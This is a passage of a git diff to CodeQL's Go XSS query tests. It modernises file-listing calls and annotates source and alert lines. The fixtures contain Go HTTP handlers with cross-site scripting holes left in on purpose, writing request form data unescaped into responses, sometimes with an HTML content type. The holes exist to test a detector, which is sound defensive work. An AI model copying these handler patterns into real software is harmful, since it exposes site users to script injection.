- files, _ := ioutil.ReadDir(".")
+ files, _ := os.ReadDir(".")
for _, file := range files {
- io.WriteString(w, file.Name()+"\n")
+ io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss]
}
}
diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref
index 66b7d67dd8f..f47ad25ca9c 100644
--- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref
+++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref
@@ -1,2 +1,4 @@
query: Security/CWE-079/StoredXss.ql
-postprocess: utils/test/PrettyPrintModels.ql
+postprocess:
+ - utils/test/PrettyPrintModels.ql
+ - utils/test/InlineExpectationsTestQuery.ql
diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go
index 364b9887466..b0f5e936a6a 100644
--- a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go
+++ b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go
@@ -4,13 +4,13 @@ import (
"html"
"html/template"
"io"
- "io/ioutil"
"net/http"
+ "os"
)
func ListFiles1(w http.ResponseWriter, r *http.Request) {
var template template.Template
- files, _ := ioutil.ReadDir(".")
+ files, _ := os.ReadDir(".")
for _, file := range files {
io.WriteString(w, html.EscapeString(file.Name())+"\n")
diff --git a/go/ql/test/query-tests/Security/CWE-079/contenttype.go b/go/ql/test/query-tests/Security/CWE-079/contenttype.go
index bb9880cc576..2800b3eed45 100644
--- a/go/ql/test/query-tests/Security/CWE-079/contenttype.go
+++ b/go/ql/test/query-tests/Security/CWE-079/contenttype.go
@@ -8,13 +8,13 @@ import (
func serve2() {
http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
- data := r.Form.Get("data")
+ data := r.Form.Get("data") // $ Source[go/reflected-xss]
// Not OK; direct flow from request body to output.
// The response Content-Type header is derived from a call to
// `http.DetectContentType`, which can be easily manipulated into returning
// `text/html` for XSS.
- w.Write([]byte(data))
+ w.Write([]byte(data)) // $ Alert[go/reflected-xss]
})
http.ListenAndServe(":80", nil)
}
@@ -46,11 +46,11 @@ func serve4() {
func serve5() {
http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
- data := r.Form.Get("data")
+ data := r.Form.Get("data") // $ Source[go/reflected-xss]
w.Header().Set("Content-Type", "text/html")
- fmt.Fprintf(w, "Constant: %s", data) // Not OK; the content-type header is explicitly set to html
+ fmt.Fprintf(w, "Constant: %s", data) // $ Alert[go/reflected-xss] // The content-type header is explicitly set to html
})
http.ListenAndServe(":80", nil)
}
@@ -60,8 +60,8 @@ func serve10() {
r.ParseForm()
data := r.Form.Get("data")
- data = r.FormValue("data")
- fmt.Fprintf(w, "\t%s", data) // Not OK
+ data = r.FormValue("data") // $ Source[go/reflected-xss]
+ fmt.Fprintf(w, "\t%s", data) // $ Alert[go/reflected-xss]
})
}
@@ -70,13 +70,13 @@ func serve11() {
r.ParseForm()
data := r.Form.Get("data")
- data = r.FormValue("data")
+ data = r.FormValue("data") // $ Source[go/reflected-xss]
fmt.Fprintf(w, `
%s
-`, data) // Not OK
+